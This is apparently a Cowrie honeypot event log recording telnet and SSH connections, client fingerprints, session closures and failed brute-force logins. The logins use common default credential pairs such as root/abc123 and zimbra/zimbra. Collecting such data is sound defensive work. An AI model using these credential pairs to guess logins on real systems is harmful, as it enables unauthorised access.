{"eventid":"cowrie.session.closed","duration":61.55682706832886,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:55.506531Z","src_ip":"152.42.224.71","session":"04baec60076a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:57.405528Z","src_ip":"45.156.87.204","session":"5251efdb5d71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.253944396972656,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:57.882340Z","src_ip":"152.42.224.71","session":"9bf7985ef2a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.73219609260559,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:59.177269Z","src_ip":"152.42.224.71","session":"3b7a7b9266aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39500,"dst_ip":"10.17.0.5","dst_port":23,"session":"153525bb0c08","protocol":"telnet","message":"New connection: 152.42.224.71:39500 (10.17.0.5:23) [session: 153525bb0c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:59.318693Z"}
{"eventid":"cowrie.session.closed","duration":36.360360860824585,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:59.952579Z","src_ip":"152.42.224.71","session":"168b6377702c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.001389503479,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:00.425476Z","src_ip":"152.42.224.71","session":"8b9f6b6bcea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.182419300079346,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:04.880997Z","src_ip":"152.42.224.71","session":"e7a8cb66779b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39510,"dst_ip":"10.17.0.5","dst_port":23,"session":"f98e69dfcb4e","protocol":"telnet","message":"New connection: 152.42.224.71:39510 (10.17.0.5:23) [session: f98e69dfcb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:05.313820Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49062,"dst_ip":"10.17.0.5","dst_port":23,"session":"31025e6fd913","protocol":"telnet","message":"New connection: 152.42.224.71:49062 (10.17.0.5:23) [session: 31025e6fd913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:08.136603Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":46065,"dst_ip":"159.203.135.109","dst_port":22,"session":"b633d757367a","protocol":"ssh","message":"New connection: 181.188.172.6:46065 (159.203.135.109:22) [session: b633d757367a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:09.796211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:09.800990Z","src_ip":"181.188.172.6","session":"b633d757367a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:09.923775Z","src_ip":"181.188.172.6","session":"b633d757367a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2","message":"login attempt [root/server2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:10.444789Z","src_ip":"181.188.172.6","session":"b633d757367a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49070,"dst_ip":"10.17.0.5","dst_port":23,"session":"0665202fc4b5","protocol":"telnet","message":"New connection: 152.42.224.71:49070 (10.17.0.5:23) [session: 0665202fc4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:10.933121Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:11.570173Z","src_ip":"181.188.172.6","session":"b633d757367a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49084,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6e1f4d173b5","protocol":"telnet","message":"New connection: 152.42.224.71:49084 (10.17.0.5:23) [session: a6e1f4d173b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:14.437316Z"}
{"eventid":"cowrie.session.closed","duration":45.65516543388367,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:15.499813Z","src_ip":"152.42.224.71","session":"934da30ff658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.112404108047485,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:17.535445Z","src_ip":"152.42.224.71","session":"b6a633474558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52580,"dst_ip":"159.203.135.109","dst_port":22,"session":"27cc276b2c46","protocol":"ssh","message":"New connection: 45.156.87.204:52580 (159.203.135.109:22) [session: 27cc276b2c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:27.735913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:27.741276Z","src_ip":"45.156.87.204","session":"27cc276b2c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:27.902127Z","src_ip":"45.156.87.204","session":"27cc276b2c46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:28.181219Z","src_ip":"45.156.87.204","session":"27cc276b2c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:29.267346Z","src_ip":"45.156.87.204","session":"27cc276b2c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52602,"dst_ip":"159.203.135.109","dst_port":22,"session":"60ff9e268b2d","protocol":"ssh","message":"New connection: 45.156.87.204:52602 (159.203.135.109:22) [session: 60ff9e268b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:31.874656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:31.879599Z","src_ip":"45.156.87.204","session":"60ff9e268b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49552,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba2ea6503b4a","protocol":"telnet","message":"New connection: 152.42.224.71:49552 (10.17.0.5:23) [session: ba2ea6503b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:31.945546Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:31.962868Z","src_ip":"45.156.87.204","session":"60ff9e268b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:32.211562Z","src_ip":"45.156.87.204","session":"60ff9e268b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:33.425665Z","src_ip":"45.156.87.204","session":"60ff9e268b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55878,"dst_ip":"159.203.135.109","dst_port":22,"session":"857cd3a1dfe6","protocol":"ssh","message":"New connection: 45.156.87.204:55878 (159.203.135.109:22) [session: 857cd3a1dfe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:35.587511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:35.592140Z","src_ip":"45.156.87.204","session":"857cd3a1dfe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:35.906416Z","src_ip":"45.156.87.204","session":"857cd3a1dfe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34308,"dst_ip":"10.17.0.5","dst_port":23,"session":"26278710229d","protocol":"telnet","message":"New connection: 152.42.224.71:34308 (10.17.0.5:23) [session: 26278710229d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:35.950634Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:36.371092Z","src_ip":"45.156.87.204","session":"857cd3a1dfe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:37.457682Z","src_ip":"45.156.87.204","session":"857cd3a1dfe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.00234365463257,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:38.439543Z","src_ip":"152.42.224.71","session":"a6e1f4d173b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55900,"dst_ip":"159.203.135.109","dst_port":22,"session":"582edf2db9b9","protocol":"ssh","message":"New connection: 45.156.87.204:55900 (159.203.135.109:22) [session: 582edf2db9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:39.582700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:39.595163Z","src_ip":"45.156.87.204","session":"582edf2db9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34310,"dst_ip":"10.17.0.5","dst_port":23,"session":"252e7d2a577c","protocol":"telnet","message":"New connection: 152.42.224.71:34310 (10.17.0.5:23) [session: 252e7d2a577c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:39.657212Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:39.667059Z","src_ip":"45.156.87.204","session":"582edf2db9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34312,"dst_ip":"10.17.0.5","dst_port":23,"session":"07a50f6e0858","protocol":"telnet","message":"New connection: 152.42.224.71:34312 (10.17.0.5:23) [session: 07a50f6e0858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:39.673367Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:39.997498Z","src_ip":"45.156.87.204","session":"582edf2db9b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.728087425231934,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:40.864603Z","src_ip":"152.42.224.71","session":"31025e6fd913","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:41.082237Z","src_ip":"45.156.87.204","session":"582edf2db9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34318,"dst_ip":"10.17.0.5","dst_port":23,"session":"2864a4638f5c","protocol":"telnet","message":"New connection: 152.42.224.71:34318 (10.17.0.5:23) [session: 2864a4638f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:43.360763Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33114,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba37619672e","protocol":"ssh","message":"New connection: 45.156.87.204:33114 (159.203.135.109:22) [session: 1ba37619672e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:43.392000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:43.397592Z","src_ip":"45.156.87.204","session":"1ba37619672e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:43.480566Z","src_ip":"45.156.87.204","session":"1ba37619672e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:43.734307Z","src_ip":"45.156.87.204","session":"1ba37619672e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:44.819996Z","src_ip":"45.156.87.204","session":"1ba37619672e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33128,"dst_ip":"159.203.135.109","dst_port":22,"session":"accd1bc297d5","protocol":"ssh","message":"New connection: 45.156.87.204:33128 (159.203.135.109:22) [session: accd1bc297d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:47.151839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:28:47.155502Z","src_ip":"45.156.87.204","session":"accd1bc297d5","protocol":"ssh"}
